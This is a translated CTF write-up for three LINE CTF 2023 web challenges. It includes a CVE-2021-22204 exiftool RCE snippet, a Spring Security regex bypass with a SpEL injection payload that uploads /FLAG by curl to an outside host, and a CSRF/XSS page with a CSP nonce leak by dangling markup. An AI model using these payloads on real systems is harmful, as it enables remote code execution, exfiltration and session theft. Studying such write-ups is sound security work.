LINE CTF 2023 Writeups
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This year, I participated in LINE CTF with THC as _TTT_
in TSJ. I solved a few medium-difficulty web challenges, which were quite fun.
Imageexif
In short, this challenge involves a Python service that uses exiftool 12.22 to read the exif information of the images you upload and then returns the information to the user. A quick search reveals some ready-made exploits like exploit-CVE-2021-22204 and JPEG_RCE, which also work successfully upon testing. However, the difficulty lies in the fact that the backend exists only within Docker's internal network and cannot connect externally. It is connected through an Nginx reverse proxy, so we need to find a way to transmit the flag back through the Python service.
I considered directly killing the uwsgi server, and then Docker Compose would automatically restart it due to restart: always
. So, if we could find a writable location in sys.path
, there might be a chance to get RCE in the Python process. However, I couldn't find a writable location, so I gave up on this approach.
Another method is to exploit the fact that the Python service deletes the temporary file after reading the exif information. So, if we delete it first, we can get an error oracle and leak the flag characters by judging them. After the competition, I saw that other teams indeed did this, but I felt this method was too inefficient and hoped to find a better way to directly echo the flag.
The Python side uses PyExifTool to read the exif information. It opens an exiftool process in stay_open
mode and sends additional CLI flags through stdin to execute exiftool. The flags it sends are roughly -j -echo4 ...
, where -j
specifies JSON format output, and -echo4
tells exiftool to return a specified sequence upon completion so that Python can determine if the output is finished.
Initially, I thought using system('print json');exit()
in Perl wouldn't work because it wouldn't return the specified sequence, causing exiftool to hang. Another method was to obtain the sequence passed in by echo4
, but I wasn't familiar with Perl, so I didn't know how to do this. Finally, I thought of another trick: since the RCE occurs before it outputs the result JSON, if we could hook the print
function, we might prevent it from printing the JSON. However, I couldn't achieve this due to my unfamiliarity with Perl.
Later, I carefully reviewed the Python server and found:
except ExifToolJSONInvalidError as e:
os.remove("tmp/"+tmpFileName)
data = e.stdout
reg = re.findall('\[(.*?)\]',data, re.S )[0]
metadata = ast.literal_eval(reg)
if 0 != len(metadata):
return render_template(
'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
else:
return jsonify({
"error": APIError("ExifToolJSONInvalidError Error Occur", str(e)).__dict__,
}), 400
So, it doesn't need valid JSON at all. Even if it fails, it will grab something that looks like JSON from stdout, so system('print json')
is enough...
Modifying the main part of exploit-CVE-2021-22204.py like this works:
if __name__ == "__main__":
from base64 import b64encode
cmd = b"""printf '[{"SourceFile":"%s"}]' "$FLAG" """
b64 = b64encode(cmd).decode()
exec = f'echo {b64}|base64 -d|bash'
command = f"system(\'{exec}\')"
exploit(command)
SafeNote
A Java Sprint Boot web service with a React frontend and JWT authentication for the API.
The first key point of this challenge is the /admin/key/{id}
route:
@GetMapping("/key/{id}")
public String getKey(
@Value("${jwt.secret-key}") String secretKey
) {
if(SecurityContextHolder
.getContext()
.getAuthentication()
.getAuthorities()
.stream()
.anyMatch(x -> x.getAuthority()
.equals("USER"))
){
return "There's nothing for you.";
}
return secretKey;
}
The authentication settings for each route are as follows:
http
.csrf()
.disable()
.authorizeRequests()
.antMatchers("/api/user/register","/api/user/login").permitAll()
.antMatchers("/api/user/**", "/api/note/**").authenticated()
.regexMatchers("/api/admin/.*").authenticated()
.antMatchers("/api/admin/.*").hasRole("ADMIN")
.anyRequest().permitAll();
So, it requires authentication for /api/admin/.*
(not necessarily admin), and the /api/admin/key/{id}
route checks if you are a USER
, it won't give you the JWT secret key. If you think carefully, if you are not authenticated, .equals("USER")
won't be true either. So, if there's a way to bypass .regexMatchers("/api/admin/.*").authenticated()
, you might get the secret key.
A quick search reveals CVE 2022-22978, which is about bypassing org.springframework.security.config.annotation.web.AbstractRequestMatcherRegistry.regexMatchers
. The affected versions are Spring Security 5.5.x < 5.5.7
and Spring Security 5.6.x < 5.6.4
. Checking build.gradle
, we find ext['spring-security.version'] = '5.6.3'
, so this CVE is applicable.
The CVE mainly concerns the fact that Java's .*
doesn't match all characters. So, GET /api/admin/key/%0a
can get the JWT secret key, allowing you to forge an admin JWT. Next, we need a way to read the /FLAG
file, which involves the /api/admin/feature
route:
@PostMapping(value="/feature", produces = MediaType.APPLICATION_FORM_URLENCODED_VALUE)
public Response<FeatureResponse> emulateFeature(@RequestBody String featureRequest, Authentication authentication) {
User user = VariousUtils.cast(authentication.getPrincipal(), User.class);
if(!Objects.equals(user.getUsername(), ADMIN_ROLE)){
throw new LineCtfException(
ErrorCode.INVALID_PERMISSION,
String.format("You are Not Admin : %s", authentication.getName())
);
}
return Response.success(
new FeatureResponse(
spelExpressionParser.parseExpression(
VariousUtils.decode(featureRequest).split("=")[1]
).getValue(String.class)
)
);
}
It treats the data you send as a SpEL expression to execute, and SpEL is essentially eval, so we just need to execute a command.
await fetch('/api/admin/feature', {
method: "POST",
headers: {
"Authorization": `Bearer ${localStorage.token}`,
},
body: 'feature='+encodeURIComponent(`''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), "curl https://XXXX --upload-file /FLAG")`)
}).then(r=>r.json())
Another Secure Store Note
Main program:
const fs = require('fs')
const ejs = require('ejs')
const path = require('path')
const crypto = require('crypto')
const express = require('express')
const cookieParser = require('cookie-parser')
const { db, createNewUser, getCsrf } = require('./db');
const app = express()
app.use('/', express.static(path.join(__dirname, 'public')))
app.use(express.urlencoded({extended: false}))
app.use(cookieParser())
function rand() { return crypto.randomBytes(20).toString('hex') }
app.use((req, res, next) => {
const { id } = req.cookies;
req.user = (id && db.cookies[id] && db.cookies[id].username) ? db.cookies[id].username : undefined;
const csp = (id && db.cookies[id] && db.cookies[id].nonce) ? `script-src 'nonce-${db.cookies[id].nonce}'` : '';
res.setHeader('Content-Security-Policy', `default-src 'self'; base-uri 'self'; ${csp}`)
next()
})
function shouldBeLoggedIn(req, res, next) { if (!req.user) res.redirect('/'); else next(); }
function shouldNotBeLoggedIn(req, res, next) { if (req.user) res.redirect('/profile'); else next(); }
function csrfCheck(req, res, next) {
const { csrf } = req.body
if (csrf !== getCsrf(req.cookies.id)) return res.redirect(`${req.path}?error=Wrong csrf`)
next()
}
app.get('/', shouldNotBeLoggedIn, (req, res) => {
res.render('auth.ejs')
})
app.post('/', shouldNotBeLoggedIn, csrfCheck, (req, res) => {
const { username, password } = req.body
try {
if (db.users[username]) {
if (db.users[username].password !== password) throw 'Wrong password';
} else createNewUser(username, password)
const newCookie = rand()
db.cookies[newCookie] = Object.create(null)
db.cookies[newCookie].username = username
db.cookies[newCookie].csrf = rand()
db.cookies[newCookie].nonce = rand()
res.setHeader('Set-Cookie', `id=${newCookie}; HttpOnly; SameSite=None; Secure`)
res.redirect('/profile')
} catch (err) {
res.redirect(`/?error=${err}`)
}
})
app.get('/csp.gif', shouldBeLoggedIn, (req, res) => {
db.cookies[req.cookies.id].nonce = rand()
res.setHeader('Content-Type', 'image/gif')
res.send('OK')
})
const settingsFile = fs.readFileSync('./views/getSettings.js', 'utf-8');
app.get('/getSettings.js', (req, res) => {
res.setHeader('Content-Type', 'text/javascript');
const response = ejs.render(settingsFile, {
csrf: getCsrf(req.cookies.id),
domain: process.env.DOMAIN,
});
res.end(response);
})
app.get('/profile', shouldBeLoggedIn, (req, res) => {
res.render('profile.ejs', {
name: db.users[req.user].name,
nonce: db.cookies[req.cookies.id].nonce,
});
})
app.post('/profile', shouldBeLoggedIn, csrfCheck, (req, res) => {
const { name } = req.body;
db.users[req.user].name = name;
res.redirect('/profile?message=Successfully updated name')
})
// For interacting with admin bot
app.use('/bot', shouldBeLoggedIn, require('./bot.js'));
// We might need to change this to https in real challenge
const https = require('https');
const port = 4567
https
.createServer({
key: fs.readFileSync('key.pem'),
cert: fs.readFileSync('cert.pem'),
}, app)
.listen(port, () => {
console.log(`Server is runing at port ${port}`)
});
And profile.ejs
:
<%- include('header.ejs') %>
<body>
<div class=content>
<ul>
<li><a class=active href='/'>Home</a></li>
<li><a href=/bot>Talk to admin</a></li>
</ul>
<img src=csp.gif>
<div class=main>
<h1>📕 <%- name %> secured notes 📕</h1>
<div>
<form method=POST>
Wanna change your name?
<input class=change-name type=text name=name placeholder="🐻 Brown">
<input type=hidden name=csrf id=_csrf>
<input type=submit value=Submit>
<p class=red id=error></p>
<p class=green id=message></p>
</form>
</div>
</div>
<div class=main>
Can you tell me a secret? It will securely kept in "localStorage" of this page.
<textarea id=secret></textarea>
<input id=submit_storage type=submit value=Store>
<script nonce=<%= nonce %> type='application/javascript'>
const btn = document.getElementById('submit_storage');
btn.addEventListener('click', (e) => {
localStorage.setItem('secret', document.getElementById('secret').value);
const resp = document.getElementById('response');
resp.innerText = 'Successfully stored secret';
setTimeout(() => resp.innerText = '', 1500);
});
</script>
<p id=response></p>
</div>
</div>
<%- include('footer.ejs') %>
</body>
There's an obvious XSS in the name
field, but both logging in and changing the name require a CSRF token. Let's check getSettings.js
:
function isInWindowContext() {
const tmp = self;
self = 1; // magic
const res = (this !== self);
self = tmp;
return res;
}
// Ensure it is in window context with correct domain only :)
// Setting up variables and UI
if (isInWindowContext() && document.domain === '<%= domain %>') {
const urlParams = new URLSearchParams(location.search);
try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {}
try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {}
try { document.getElementById('_csrf').value = '<%= csrf %>'; } catch (e) {}
}
If you embed this JS in your own page, as long as it's SameSite=Lax
(and this challenge is SameSite=None
), the cookie will be sent, so the JS will include the CSRF token. Using Object.defineProperty
, you can change document.domain
to the required domain, thus obtaining the CSRF token.
The admin bot uses Firefox + Puppeteer, logs in, sets the flag in localStorage
, and then visits your page. So, you can use the CSRF token to POST /profile
and change the name:
<div id="error"></div>
<div id="message"></div>
<form action="{{ target }}/profile" method="POST" id="frm">
<input name="name" />
<input name="csrf" id="_csrf" />
</form>
<script>
Object.defineProperty(document, 'domain', { get: () => '{{ domain }}' })
window.onload = () => {
frm.name.value = `PAYLOAD`
frm.submit()
}
</script>
<script src="{{ target }}/getSettings.js"></script>
However, there's still CSP to bypass. The key points are: first, the nonce only updates when /csp.gif
is triggered, so if you prevent it from loading /csp.gif
, the nonce remains fixed. Next, you can leak the nonce using <meta http-equiv=refresh content='0; url=https://XX?
dangling markup. Once you have the nonce, another CSRF can achieve XSS.
Payload: sol.tar.gz
The reason for using Firefox is probably because Chrome has dangling markup protection.